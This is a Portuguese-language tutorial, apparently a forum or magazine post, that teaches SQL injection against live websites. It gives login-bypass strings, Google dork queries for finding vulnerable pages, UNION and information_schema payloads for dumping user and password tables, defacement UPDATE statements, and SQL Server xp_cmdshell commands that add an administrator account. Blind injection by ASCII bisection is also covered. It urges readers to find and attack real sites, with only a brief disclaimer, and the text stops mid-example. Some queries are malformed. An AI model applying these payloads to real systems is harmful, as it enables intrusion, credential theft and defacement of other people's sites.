Você está na página 1de 21

SQL Injection Com a popularizao da internet e o crescimento dos diversos recursos foi possvel a criao de sites interativos e tambm,

pginas de cadastro de servios diversos. As informaes colhidas em cadastros so gravadas em bancos de dados. Bancos de dados so um conjunto de tabelas que armazenam informaes, lembrando que podem ser desde Nome e Idade at CPFs, nmeros de carto de crdito etc. Mas, para haver comunicao entre a pgina e o banco de dados, necessria uma linguagem extra. Nesses tempos atuais de sofrimento e tortura, a linguagem para bancos de dados mais usada em todo o mundo a SQL. SQL significa Structured Query Language, ou Linguagem de Consulta Estruturada. Surgida na dcada de 70, a SQL foi inicialmente criada pela IBM, mas logo surgiram diversas variaes da linguagem, criadas por outras empresas. J ouviu falar em MySQL e Oracle e no sabia o que era? So as variaes da SQL original, criadas pela MySQL AB e pela Oracle Corporation, respectivamente. A SQL Injection, ou seja, Injeo de SQL uma tcnica muito fcil e tambm muito poderosa. No so necessrios scanners para achar sites vulnerveis e os comandos so enviados diretamente no navegador. Isso faz da SQL Injection uma tima tcnica. O nico pr-requisito para usar tal tcnica um conhecimento bsico de SQL. Aprendendo SQL Os comandos em SQL so todos em ingls e no so complicados. Esse o motivo de ser a linguagem de bancos de dados mais usada no mundo. esse tambm o motivo que favorece um invasor. Os comandos que voc precisa saber para fazer SQL Injection so: SELECT Busca alguma informao do banco de dados e exibe; INSERT Insere informaes do banco de dados; DELETE Apaga informaes do banco de dados; UPDATE Atualiza, ou seja, sobrescreve uma nova informao. As principais clusulas, geralmente usadas com o SELECT, so:

FROM Especifica a tabela de onde sero retiradas informaes. WHERE Significa AONDE. HAVING Significa TENDO. ORDER BY Usado para ordenar algum resultado. Os operadores lgicos so: OR Significa OU AND Significa E NOT Significa NO Os principais operadores de comparao so: < - Significa MENOR > - Significa MAIOR <> - Significa DIFERENTE <= - Significa MENOR OU IGUAL >= - Significa MAIOR OU IGUAL = - Significa IGUAL LIKE Significa PARECIDO. ------------------------------------------------------------------------------------------------------Nota No operador LIKE usamos o sinal de porcentagem %. O % significa qualquer valor que esteja antes ou depois da palavra fornecida. No confunda com asterisco (*)! O % somente usado no LIKE! Strings so escritas entre aspas ( e ); Nmeros so escritos normalmente; Datas so escritas entre jogo-da-velha (#); Quando quiser especificar mais de alguma coisa, use parnteses.

------------------------------------------------------------------------------------------------------Nada melhor do que alguns exemplos para entender como funcionam as coisas. Aqui vo alguns exemplos: SELECT Usurio FROM Cadastro SELECT * FROM Cadastro SELECT Nome,Idade,Telefone FROM Cadastro SELECT Nome,Idade FROM Cadastro WHERE Idade >= 18 SELECT Nome,CPF FROM Cadastro WHERE Nome LIKE %Fulano% SELECT * FROM Cadastro ORDER BY Nome INSERT INTO Cadastro (Nome,Idade) VALUES (Fulano,24)

INSERT INTO Cadastro (Data,Rua) VALUES (#01-01-2008#,Rua dos Mortos) DELETE Nome FROM Cadastro DELETE (Nome,Idade,Telefone) FROM Cadastro DELETE Nome FROM Cadastro WHERE Nome LIKE %Fulano% UPDATE Nome FROM Cadastro SET Nome=Beltrano WHERE Nome=Fulano UPDATE Nome FROM Cadastro SET Nome=Fulano WHERE Nome LIKE %Beltrano% Traduzindo... Lembrando que SQL puro e simples ingls, no to difcil entender os exemplos acima. SELECT Usurio FROM Cadastro a mesma coisa que falar ao banco de dados Mostre a coluna Usurio da tabela Cadastro. tambm possvel fazer o inverso, criar a consulta em lngua normal e depois transcrever em SQL. Essa traduo se trata do que em programao chamado pseudo-cdigo. Um Pouco de Prtica Supondo que eu esteja dentro de uma pgina que usa a SQL para processar o login. Temos o campo de usurio e o campo de senha. Estamos em uma pgina ASP (algumas so em PHP) e o cdigo para capturar as entradas no formulrio so: campo_usuario = Request.Form(usurio) campo_senha = Request.Form(senha) A parte mais importante do cdigo da pgina : SELECT (usuario,senha) FROM cadastro WHERE usuario= & campo_usuario & AND senha= & campo_senha & Essas, voc j deve ter percebido, so instrues SQL. Para os que no conseguem traduzir, o cdigo compara os dados fornecidos no formulrio com os dados que esto guardados no banco de dados. Se o usurio e a senha batem, efetuado o login na pgina. timo, temos um formulrio simplssimo de login numa pgina ASP usando SQL, com segurana. Com segurana? E o que acontece se digitarmos cdigo malicioso, como OR 1=1, nos campos de usurio e senha? Vamos ver. O cdigo em SQL executado seria esse: SELECT (usuario,senha) FROM cadastro WHERE usuario= OR 1=1 AND senha= OR 1=1

Vamos fazer uma traduo: Pegue usuario e senha da tabela cadastro, aonde usuario vazio ou verificar se 1 igual a 1 e aonde senha vazio ou verificar se 1 igual a 1, ou seja, ele procura por um campo vazio, ou verifica se 1 igual a 1. Como 1 igual a 1, ele entra como administrador, pois estvamos na pgina de login para administradores. Em alguns casos, os administradores criam um campo vazio no banco de dados para testes e isso pode furar com sua invaso. Aqui vo algumas strings: OR 1=1 OR a=a OR 1 OR = ------------------------------------------------------------------------------------------------------* No vou me aprofundar aqui por j haver outras explanaes em posts aqui no frum

------------------------------------------------------------------------------------------------------Tente traduzir as strings e entender o que elas fazem na pgina. [COLOR="Blue"]Quem Procura Acha[/COLOR] Como o login feito em pginas da web, podemos usar o Google para achar pginas vulnerveis. Google tem vrios truques, comandos escondidos que a maioria no usa. Como profissionais da rea, ns a usamos. Um destes comandos o allinurl. Ele serve para retornar somente pginas que tenham determinados termos na URL. Aqui vo alguns exemplos: allinurl:admin/index.asp allinurl:admin/login.asp allinurl:admin/default.asp allinurl:admin/admin.asp ------------------------------------------------------------------------------------------------------* No vou me aprofundar aqui por j haver outras explanaes em posts aqui no frum

------------------------------------------------------------------------------------------------------(In)Felizmente, as pginas vulnerveis a SQL Injection esto ficando mais raras, mas ainda possvel achar uma e outra. Verifique pgina por pgina. Preveno Preferi no indicar links, matrias ou comentrios sobre preveno (abordarei sobre o assunto

em uma outra ocasio), tambm prefervel que se obtenha informaes diretamente de outros autores aqui no forum ou na net (assim valorizamos os esforos de outros profissionais). Advanced SQL Injection Na matrias anteriores os caros leitores tiveram uma pequena introduo SQL Injection (SQL); no foi grande coisa e o modo pelo qual injetvamos SQL, em campos, e para efetuar login est praticamente extinto. com dificuldade que encontramos sites vulnerveis a tcnica, como foi ensinada. Mesmo assim, muito ignorante aquele que diz que a SQL Injection est morta. O que aconteceu foi que os administradores e web masters captaram a mensagem de que seus sistemas com campos eram vulnerveis e passaram a usar filtros. Ento a SQL Injection estava acabada, estagnada, esgotada e destruda?! Errado! Os administradores se esqueceram de que no so apenas os campos de login que usam SQL... Nesses sites de empresas e de prefeituras, temos, como exemplo de pgina que requisita banco de dados, um portal de notcias. Na verdade, no um requisito usar DBs (Data Base[s]), j vi alguns sites que usam pginas diferentes para as notcias, mas voltemos ao assunto... As duas principais linguagens de programao voltadas internet, tirando o HTML e o CSS, obviamente, so o PHP e o ASP. O PHP uma iniciativa gratuita, criada por Rasmus Lerdof. J o ASP uma iniciativa paga criada pela Microsoft. Na verdade, ambos no so apenas uma linguagem, mas sim todo um sistema que permite um scripting de qualidade. Ao menos, o PHP sim... Reconhecer a linguagem no qual o portal de notcias escrito muito fcil. Eu nem ia explicar isso, mas vamos dar uma ajudinha aos iniciantes... Pginas em PHP tem a extenso .php: Pginas em ASP tem a extenso .asp: Sem exceo, os servidores que rodam .asp funcionam sob o Windows, por motivos bvios: o ASP feito pela Microsoft. Normalmente, usam o SQL Server, tambm da Microsoft, porm possvel que usem MySQL. J os servidores .php geralmente esto no GNU/Linux, usando MySQL, embora possam existir servidores que suportam PHP no Windows. Basicamente, a linguagem que utilizada o SQL, porm toda a plataforma muda, sendo assim, tcnicas como a utilizao do LIMIT, em MySQL, no funcionam em SQL Server.

Os contrastes podem ser grandes no prprio site. Por exemplo, na maioria dos sites no h filtros contra esse tipo de SQL, porm alguns tem e podem ser burlados atravs de codificao e de Blind SQL Injection. Quem nem ao menos sabe do que estou falando, no se preocupe, tudo ser ensinado! Comecemos, ento A tcnica de SQL que utilizaremos baseada na explorao do banco de dados atravs de erros exibidos, permitindo coletar informaes como logins, senhas, endereos de e-mail e em alguns casos (sob SQL Server) executar comandos como se estivssemos no prompt de comando. Tambm nos permite efetuar defacement, entre vrias outras opes. Enfim, podemos utilizar todo o poder da SQL e fundi-la com XSS. Encontrar pginas vulnerveis SQL muito fcil. Uma das melhores ferramentas existentes para isso e de fcil acesso o prprio Google, o mesmo buscador que utilizamos todos os dias para fazer trabalhos escolares e encontrar fotos, msicas, videos, etc... apesar de que para imagens melhor desativar o SafeSearch... Pois bem, as pginas que usam GET, ou seja, utilizam a URL para passar parmetros so nas quais mais facilmente injetamos SQL. Sendo assim, o recurso inurl do Google muito til. Em teoria, todas as pginas que utilizam SQL e no tm filtros esto vulnerveis SQL, ento, para encontr-las, basta procurar pginas que obrigatoriamente usam SQL como portais de notcias por exemplo. Normalmente nestes portais; para facilitar o acesso, cada notcia recebe um ID e a partir dele que injetaremos comandos SQL. Sendo assim, as das muitas strings de busca no Google seriam: inurl:noticias.php?id= inurl:noticia.php?id= inurl:ver_noticia.php?id= inurl:ver.php?id= inurl:abrir.php?id= inurl:mostrar.php?id=
Estes so s pequenos exemplos. (Lembrando que tambm existem pginas vulnerveis em ASP, sendo assim, a string deve ser adaptada).

Para descobrir a vulnerabilidade, basta uma aspa simples ( ) atrs do ?id=. Se o sistema estiver utilizando MySQL e estiver vulnervel, o erro ser este:
-------------------------------------------------------------------------------------------------------

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1. -------------------------------------------------------------------------------------------------------

Porm, se estiver utilizando SQL Server, este ser o erro:


------------------------------------------------------------------------------------------------------Unclosed quotation mark after the character string . -------------------------------------------------------------------------------------------------------

Se nenhum erro for exibido, simplesmente a pgina no est vulnervel ou a abordagem deve ser melhor estruturada, ou seja, feita de meios diferentes. s vezes, no sero exibidos erros a partir da simples incluso do apstrofo, mas sero de outros modos. Algumas dicas so apagar o valor do ID e por o apstrofo, ou substituir o valor do ID por null, no exibindo nenhuma notcia. Eu pessoalmente aprecio muito o null. Tambm pode acontecer de a pgina estar vulnervel, mas no exibir esse erro, sendo necessria, como j disse, uma abordagem melhor feita. Bom, no se preocupe se no encontrar uma pgina vulnervel na primeira tentativa, afinal, SQL Injection, com todos os seus modos de injeo, a segunda vulnerabilidade mais popular em pginas da internet, perdendo apenas para XSS. Pginas vulnerveis a SQL so extremamente comuns! Expliquemos como faremos o sistema exibir um erro utilizando a aspa simples. Pouparei a demasia nas explicaes, at porque j abordei um pouco das SQL queries em outra ocasio. Supondo que a query inicial seja: SELECT noticia, data, autor FROM database.noticias WHERE id='100' E estamos pondo um apstrofo, esta ser a query: SELECT noticia, data, autor FROM database.noticias WHERE id='100'' O sistema vai tentar obter a notcia, a data, e o autor da notcia atravs da ID 100 e vai definir outra varivel sem nome com a aspa simples do prprio sistema, ou seja, estamos fazendo uma operao impossvel, e por isso o sistema acusa o erro. Tanto que o SQL Server acusa unclosed quotation, citao aberta. Conceitos de Bancos de Dados Depois de encontrar uma pgina vulnervel, podemos comear a explorar o banco de dados.

Antes de explor-lo necessrio saber como funciona. Cada site pode ter uma ou mais conexes de bancos de dados, cada banco de dado pode ter uma ou mais tabelas, e cada tabela divida em linhas e colunas. Imagine que cada tabela como uma planilha no Excel ou no Math. Note que nos exemplos desta pgina, a query pede as colunas noticia, data e autor, da tabela noticias no banco de dados database. Aprendendo SQL Nas matrias anteriores eu j tinha abordado uma parte dos comandos que podemos utilizar em SQL e agora aqui esto mais alguns que sero necessrios para os nossos trabalhos: UNION - usado para combinar o resultado de SELECT; ORDER BY - ordena as colunas utilizando como critrio uma coluna; HAVING - tendo, ou seja, ser tiver certo critrio! Felizmente, na prtica tudo se torna mais esclarecido. MySQL Tomemos como exemplo fictcio um site cujo endereo http://site.com.br. Neste site temos vrias pginas, e uma delas a noticias.php. Acessando o endereo http://site.com.br/noticias.php?id=10 recebemos o seguinte erro:
------------------------------------------------------------------------------------------------------You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1. -------------------------------------------------------------------------------------------------------

Isso significa que est vulnervel. Se aparecer, timo, se no aparecer, no desista! extremamente comum encontrar sites em PHP que no exibem a mensagem e esto vulnerveis. De qualquer modo, vale a pena tentar se aprofundar antes de simplesmente largar o site. Na verdade, esse passo no estritamente necessrio... Com um site em mos, vamos encontrar o nmero de colunas da tabela que est sendo usada para guardar as notcias, e a partir da descobrir mais sobre o banco de dados inteiro. Utilizaremos o ORDER BY para tanto. Vamos tentar nmero por nmero at chegar ao nmero certo de colunas, adicionando o seguinte aps a URL , sem o que estiver entre os parnteses: order by 2 -- (notcia exibida) order by 3 -- (notcia exibida)

order by 4 -- (notcia exibida) order by 5 -- (notcia exibida) order by 6 -- (erro) Quando a notcia no exibida, temos o seguinte erro:
------------------------------------------------------------------------------------------------------Unknown column 6 in order clause -------------------------------------------------------------------------------------------------------

Sabemos agora que a nossa tabela tem apenas cinco colunas - geralmente temos mais, j encontrei sites com dez colunas na tabela - podemos utilizar o UNION para explorar o banco de dados inteiro. possvel deduzir que em uma query do tipo SELECT ttulo, texto, autor, os resultados sero exibidos na pgina. Com o UNION descobrimos quais resultados so exibidos na pgina e vamos substituir os resultados por qualquer outra query. A partir de agora interessante substituir o nmero do id da notcia por null, que no ir retornar nenhuma notcia e ir facilitar/permitir nosso trabalho. Mas antes de descobrir o resto do sistema de MySQL, racional descobrir o banco de dados em que estamos, afinal, imagine um site com mais de uma conexo de banco de dados criada pelo administrador, em qual estamos? Utilizemos o seguinte esquema, aps a URL: null union select 1,2,3,4,5 from NOTEXIST -Um erro semelhante a este exibido: Table database.NOTEXIST doesnt exist O que acabamos de fazer requisitar uma tabela que no existe, sem definir a conexo de banco de dados a que ela pertence, e o sistema, por padro, adota a conexo atualmente utilizada, que no caso database. Os dois traos no final, so sinais de comentrios em SQL MySQL, para ignorar o resto da query que geraria um erro por causa do apstrofo de fechamento. Agora j podemos descobrir mais sobre o banco de dados em que estamos, inclusive possveis tabelas que guardam informaes de login. Para tanto, necessitamos descobrir que resultados de query so exibidos na pgina; utilizemos esta forma: null union select 1,2,3,4,5 -Os resultados variam de pgina para pgina, mas seria exibido algo como isso:

------------------------------------------------------------------------------------------------------Notcias 2 2 //1 3 -------------------------------------------------------------------------------------------------------

Outro exemplo de displaying este:


------------------------------------------------------------------------------------------------------Notcias 5-2 4 --------------------------------------------------------+ FOTOS (clique na foto para ampliar) --------------------------------------------------------Outras Matrias: 4/1/1933 3 -------------------------------------------------------------------------------------------------------

Ento, escolhemos um ou mais nmeros que so exibidos para explorar todo o sistema de banco de dados. Supondo que na tela sejam exibidos 1, 2 e 3, como no primeiro exemplo, ento usaremos na URL os lugares respectivos ao 3 para nossos objetivos e os outros nmeros, mesmo o 4 e o 5, substitumos por null, ou no... A Sun, que produz o MySQL quis facilitar o trabalho dos hackers administradores criando um banco de dados que armazena praticamente todas as informaes interessantes, como nomes de conexes de bancos de dados, tabelas, colunas entre outras. A partir da verso 5.0 do MySQL temos a DB information_schema, que amplamente utilizada em SQL. Dentro da information_schema, temos as tabelas tables e columns que so muito importantes, creio que no seja necessrio explicar o que elas guardam; dentro delas, h colunas que guardam todos os nomes de tabelas e colunas do sistema. Alm disso, h uma tabela em especial, que guarda a DB das tabelas e colunas definidas pelo administrador, a table_schema, que tambm ser utilizada. Primeiramente, vamos descobrir se estamos em um site com o MySQL anterior 5.0, utilizando o seguinte depois da URL: null union select 1,2,@@version,4,5 -Resumidamente, o @@version uma varivel global que guarda a verso do sistema de banco de dados. Baseados nos resultados, que sempre tem o nmero da verso, temo-no...

Se estamos em um site que utilize 5.0 ou posteriores, timo. Se no, ento teremos que chutar os nomes das tabelas, seguindo padres de administrao, e todo o papo que se refere information_schema intil. Alguns exemplos de @@version:
------------------------------------------------------------------------------------------------------5.0.67 community 5.0.67 community //1 3 -------------------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------------//2 3 5.0.67 -community -------------------------------------------------------------------------------------------------------

Comecamos descobrindo as tabelas no banco de dados que j descobrimos, o database, adicionando o seguinte URL com o null que estvamos usando: null union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database' limit 0,1 -No preciso dizer, pedido um nome de tabela information_schema.tables, quando a DB for database. Se tudo correr bem, teremos um nome de tabela:
------------------------------------------------------------------------------------------------------5-2 artigos -------------------------------------------------------------------------------------------------------

Perfeito, descobrimos uma tabela, mas o nome dela noticias, seu contedo, deduzimos, no muito til para ns, a menos que queiramos fazer um defacement. Sobre o defacement, preciso descobrir as colunas da tabela, isso ns veremos adiante. E agora, como fazemos para descobrir mais tabelas? Note que na query anterior, utilizei limit 0,1 no final. O limit servir como um cursor entre as tabelas. Para avanar para a prxima tabela, utilizamos limit 1,1, depois limit 2,1 e assim sucessivamente, at encontrar todas as tabelas.

Supondo que tenhamos encontrado as tabelas noticias, discursos, compromissos, login e teste. altamente deduzvel o contedo de cada uma, e basta prestar um pouco de ateno para perceber que os usurios e senhas esto armazenados na tabela login... Agora ser necessrio descobrir as colunas de cada tabela, j que sem as colunas (onde esto guardados os dados e logins), no conseguimos obter dados. Seria como tentar acertar o meio de um alvo, sem a mosca. Obter os nomes das colunas muito parecido com obter as tabelas: null union select 1,2,column_name,4,5 from information_schema.columns where table_name='login' limit 0,1 -E assim utilizamos o LIMIT novamente como cursor. timo, temos o nome de todas as tabelas, e as colunas da(s) tabela(s) que nos interessa(m), muito bom, e agora, como fazer para obter usurios e senhas, de nossa conhecida tabela login, supondo que descobrimos as colunas user, pass e privileges? Quase terminando a parte que aborda o MySQL, permita-me ensinar como obter linhas de cada coluna da tabela, isto , o que nos interessou desde o incio. Fique sabendo que, encontrou sites vulnerveis, brincou com as tabelas e enfim, entendeu tudo que foi passado, meus parabns. Para mim no foi to fcil assim! Bem, voltando ao objetivo... Ns estvamos fazendo queries s tabelas do sistema, que para os nossos fins - e no nossos meios - de nada nos interessam. Ento, a estrutura da query a mesma. null union select 1,2,user,4,5 from database.login -timo, obtemos um usurio, fulano. Para obter a senha, como deve saber: null union select 1,2,pass,4,5 from database.login where user='fulano' -E est l a senha. Para obter os privilgios, contedo da coluna privileges: null union select 1,2,privileges,4,5 from database.login where user='fulano'-Cansativo pegar usurio com uma query, senha com outra query e privilgios com outra? Podemos (tentar) concatenar todos, e obter todos de uma tacada s:

null union select 1,2,concat_ws(user,pass,privileges),4,5 from database.login -O limit ainda vlido nestes casos, podendo usar como cursor. Supondo que j saibamos o nome de usurio, ou deduzimos a partir de qualquer lugar, que parte do nome de usurio admin... Podemos usar o like: null union select 1,2,concat_ws(user,pass,privileges),4,5 from database.login where user like '%admin%' -E assim, obtemos o usurio e a senha do administrador, cujo usurio seria; no exemplo, algo parecido com admin. Bom, podemos obter senhas de usurios do site, ou podemos efetuar um defacement, para deixar a nossa assinatura. Neste caso... Neste caso, antes de qualquer coisa, devemos definir a tabela que queremos atacar. Supondo que queiramos modificar uma notcia, a mais recente, para uma mensagem como 6SOLAMMAH, primeiro, vamos descobrir quais colunas tem a tabela notcias, aquela em que estvamos no comeo: null union select 1,2,column_name,4,5 from information_schema.columns where table_name='noticias' limit 0,1 -E a, utilizamos o LIMIT como cursor novamente. Depois de descobrir todas as colunas, que em nosso exemplo seriam algo como id, titulo, texto, autor e data, ns podemos modificar o que queremos com o comando update. Nesse caso, no estamos mais fazendo queries ao sistema. Agora vamos modificar o banco de dados, e por isso, devemos fechar a query que utilizava o id para se orientar. Vamos utilizar um ID novo, atribudo a uma notcia fresquinha, para que ningum tenha que pegar alguma das primeiras notcias para visualizar a sua arte. Supomos que este ID seja 1000, e montamos assim, atrs do ?id=: null update noticias set texto='6SOLAMMAH' where noticias.id=1000 -No exemplo, o que fazemos fechar a string que pega o id, e atravs do ponto-e-vrgula, passamos outros comandos ao banco de dados. Sendo assim, ao menos em teoria, temos um defacement. Fazer um deface pode e deve ser mais completo, ento, deveramos ao menos alterar o ttulo da notcia e incrementar nosso texto com alguma coisa em HTML, para que o usurio tenha a

sensao de que o hacker teve estilo, e no foi apenas idiota. Quem se ligou agora, deve ter percebido que poderia utilizar algumas funes do PHP para reavivar uma antiga tcnica, hoje em desuso, a dita PHP Injection que eu nem pretendo abordar na revista, por estar morta e por ter contedo sobrando pela internet... Mas isso! Lembrando que no estou incentivando ningum a cometer qualquer ato comprometedor, anti-tico ou ilcito, e assim, me isento de qualquer responsabilidade. muito mais inteligente avisar o administrador que o site dele est vulnervel. O triste fazer isso quando o administrador e o dono do site so a mesma pessoa, e ainda por cima, um web master, como j aconteceu comigo... SQL Server O SQL Server um produto da Microsoft, sendo assim geralmente roda sob pginas .asp e obrigatoriamente, roda em Windows, j que creio que a Microsoft no vai criar uma verso da sua plataforma para o GNU/Linux... Considero-o mais fcil de se explorar que o MySQL, no que o adversrio seja difcil de explorar, mas falhas em SQL Server permitem causar mais estragos mais facilmente. Posteriormente veremos o motivo. O esquema de verificao de vulnerabilidade semelhante ao das plataformas MySQL, a aspa simples e a aspa dupla - e em alguns casos, parnteses e outros caracteres comuns de fechamento. Bom, se no tinha se ligado nisso... Nos primeiros passos o que mudam so os erros. Novamente, tentando fechar a string utilizando uma aspa simples, com http://site.com.br/noticias.asp?id=null, recebemos:
------------------------------------------------------------------------------------------------------Unclosed quotation mark before the character string . -------------------------------------------------------------------------------------------------------

Ao contrrio do MySQL que muito comum inserirmos aspa e no retornar nenhum erro, e mesmo assim o site estar vulnervel, no SQL Server comum exibir o erro na cara dura. MySQL 1 x 0 SQL Server. No SQL Server, vamos trabalhar um pouco diferente do que no MySQL, e podemos explorar diretamente a tabela em que estamos: http://site.com.br/noticias.asp?id=null having 1=1 --

Surge algo tipo:


------------------------------------------------------------------------------------------------------Microsoft+*ODBC SQL Server Driver+*SQL Server+Column noticias.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. -------------------------------------------------------------------------------------------------------

Assim, conseguimos uma coluna da nossa tabela! Para descobrir mais sobre a tabela das notcias, utilizamos a clusula group by. Assim, injetamos: http://site.com.br/noticias.asp?id=null group by noticias.id having 1=1
------------------------------------------------------------------------------------------------------*Microsoft+*ODBC SQL Server Driver+*SQL Server+Column noticias.titulo is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. -------------------------------------------------------------------------------------------------------

Agora, atrs do .asp?id=: null group by noticias.id,noticias.titulo having 1=1 -------------------------------------------------------------------------------------------------------*Microsoft+*ODBC SQL Server Driver+*SQL Server+Column noticias.texto is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. -------------------------------------------------------------------------------------------------------

null group by noticias.id,noticias.titulo,noticias.texto having 1=1-------------------------------------------------------------------------------------------------------*Microsoft+*ODBC SQL Server Driver+*SQL Server+Column noticias.autor is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. -------------------------------------------------------------------------------------------------------

null group by noticias.id,noticias.titulo,noticias.texto,noticia s.autor having 1=1 -------------------------------------------------------------------------------------------------------*Microsoft+*ODBC SQL Server Driver+*SQL Server+Column noticias.data is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. -------------------------------------------------------------------------------------------------------

Acabamos. Se executarmos isso: null group by noticias.id,noticias.titulo,noticias.texto,noticia s.autor,noticias.data having 1=1 -------------------------------------------------------------------------------------------------------The text, ntext, and image data types cannot be compared or sorted, except

when using IS NULL or LIKE operator. -------------------------------------------------------------------------------------------------------

Sobre esses group by ns podemos, ao invs de utilizar noticias.id,noticias.etc, podemos tambm usar simplesmente id,etc, ou seja, no colocamos a tabela na frente. Porm, se existir a mesma coluna em outra tabela, com certeza teremos erros. Agora, se quisermos, j podemos fazer um defacement: null update noticias set texto='6SOLAMMAH' where noticias.id=1000 -Bom, mas me diga, qual a utilidade do defacement? Como j estamos bem afiados a esta altura do campeonato, no creio que valha a pena mostrar como obter senhas, porm... o limit no existe em SQL Server. Ao invs de utilizar o limit, vamos usar uma query com top e not exist para explorar o banco de dados. null union select top 1 1,2,user,4,5 from database.login where user not exist (select top 0 user from database.login) O que acabamos de fazer utilizar o top, que pega a linha x da coluna user, se este resultado no estiver em outra query semelhante, mas com o x-1. A nossa prxima query seria: null union select top 2 1,2,user,4,5 from database.login where user not exist (select top 1 user from database.login) Como vemos, o limit realmente faz falta, mas nada que um crebro e algumas outras funes no resolvam. Na verdade, o esquema bem parecido com o limit, mas muda um pouco... Agora que j aprendemos a explorar o banco de dados, vamos explorar o resto do sistema. Sim, em um servidor existe mais que um banco de dados... Temos todo um sistema operacional, que a partir de SQL Injection, pode se tornar nosso, ou melhor, podemos tomar conta... Agora que aprendemos como explorar o banco de dados, permita-me ensinar uma falha de projeto do SQL Server, que permite a execuo remota de comandos, os mesmos comandos que se digitaria no prompt de comando. Ou seja, a partir de agora, voc ter poder sobre servidores SQL Servers vulnerveis a SQL. MySQL 2 x 0 SQL Server

No SQL Server existe uma funo que executa comandos como se o administrador estivesse em um prompt de comando, o tal do xp_cmdshell. Supondo que o administrador queira testar a comunicao, ele pode dar um ping em loopback utilizando: exec master..xp_cmdshell ping localhost; Para o invasor, o esquema muda um pouco; estamos de intrusos no sistema e precisamos construir um query que execute esse xp_cmdshell. Assim, atrs de um id, digitamos: exec master..xp_cmdshell 'ping localhost'; E pronto, o servidor d ping em loopback. Para que isso poderia ser til?! Que comandos executo?! Permita-me exemplificar: net user [usuario] [senha] /add {cria um usurio no servidor remoto e permite login por telnet ou por rea de trabalho remota}. Se for utilizado em conjunto com net localgroup Administrators [usuario] /add {adiciona o usurio ao grupo dos administradores} Por padro, no SQL Server 2005 o xp_cmdshell est desativado por motivos de segurana, porm, se quisermos, podemos ativ-lo: exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'xp_cmdshell', '1' reconfigure Lembrando que temos que adequar isso query para SQL Injection. Blind SQL Injection Agora que j aprendemos o bsico da SQL e j temos o mnimo de maturidade nesse tipo de tcnica, podemos aprender sobre Blind SQL Injection. Antes, de comear, eu gostaria de fazer duas consideraes.

A primeira quanto a origem do nome blind SQL injection. Blind, em ingls, um adjetivo que significa cego; isto quer dizer que no usamos os erros comuns para explorar o banco de dados. A segunda, que Blind SQL um pouco mais difcil de entender e demorada que a Advanced SQL comum. A Blind SQL surgiu da necessidade de burlar ou bypass um filtro utilizado por alguns web masters. Colocando-se um sinal de arroba (@) atrs da funo que pega os dados, os erros que esta funo poderia exibir so ocultos. Normalmente, isso d uma certa impresso de segurana ao web master que no entende as possibilidades da Blind SQL Injection. O que fazemos na Blind SQL utilizar o operador AND para comparar o resultado de uma query com o ID, e retornar os valores booleanos TRUE ou FALSE. Para descobrir a vulnerabilidade, utilizamos de cara o AND: http://site.com.br/noticia.php?id=1 and 1=1 http://site.com.br/noticia.php?id=1 and 0=1 O primeiro, caso o site esteja vulnervel, retorna o valor TRUE - j que 1 sempre igual a 1 - e exibe a pgina corretamente. No segundo endereo fictcio, o site no retornaria uma pgina coerente com o site, j que o resultado sempre FALSE. Conclumos que o nosso site fictcio est sim vulnervel a Blind SQL e vamos partir para cima dele. Como um portal de notcias que usa IDs para linkar as notcias e um site brasileiro que fala portugus - provvel que a tabela que guarda as notcias seja algo como noticia, noticias, noti, news e muitos outros padres de administrao. Para explorar o banco de dados, ns vamos utilizar o AND da mesma forma, porm, vamos verificar se um igual ao resultado de alguma query. Basicamente, assim que funciona Blind SQL. O problema de sempre que no conseguimos visualizar nomes de databases, tabelas e colunas via information_schema ou via sysobjects, e sempre temos que chutar o nome... Primeiramente, vamos descobrir o nome de algumas tabelas. http://site.com.br/noticias.php?id=1 and 1=(select * from noticias) Neste caso, seguindo as tabelas que usei como exemplo anteriormente, a pgina seria exibida normalmente, indicando que de fato existe a tabela noticias. Sabendo disso, poderamos testar n nomes de tabelas para descobrir qual a tabela que guarda os nomes de usurios e senhas. No muda muita coisa para capturar nomes de colunas:

http://site.com.br/noticias.php?id= 1 and 1=(select texto from noticias) Se a coluna texto existir, ento a pgina da notcia 1 exibida. Agora j poderamos efetuar um defacement: http://site.com.br/noticias.php?id=1000 and 1=(update noticias insert set texto='6SOLAMMAH' where noticias.id=1000) Provavelmente, a pgina j ser exibida com o novo texto. Mas como vivo dizendo, para fins didticos, o defacement no acrescenta nada. Caso esteja interessado em expor suas idias, tente fazer algum outro tipo de protesto... Agora o objetivo capturar alguma conta e senha de algum usurio. Depois de algumas tentativas, descobrimos a tabela que contm os nomes de usurios, senhas e outras informaes que no so to interessantes para ns, cujo nome login. Descobrimos tambm que ela tem as colunas user, pass e privileges por mtodos citados anteriormente. Para descobrir o contedo de alguma coluna um pouco mais difcil, visto que temos que testar os caracteres um por um em valor ASCII. Vamos utilizar ento as funes ascii() e substring(). Supondo que eu tenha algum nome de usurio em mos, qualquer que seja o meio pelo qual o consegui, basta eu pegar a senha. No exemplo, o usurio seria vitima e a suposta senha, senha, sem nmeros e de apenas letras. O correto seria utilizar letras maisculas e minsculas em senhas, mas isso quase nunca acontece, ento podemos testar apenas com letras minsculas. Vamos dividir o alfabeto ao meio, pegando o caractere m (109) e checando se a primeira letra da senha est acima ou abaixo de m: http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1)) > 109 A pgina foi exibida, o que significa que o primeiro caractere est acima de m: http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1)) > 117

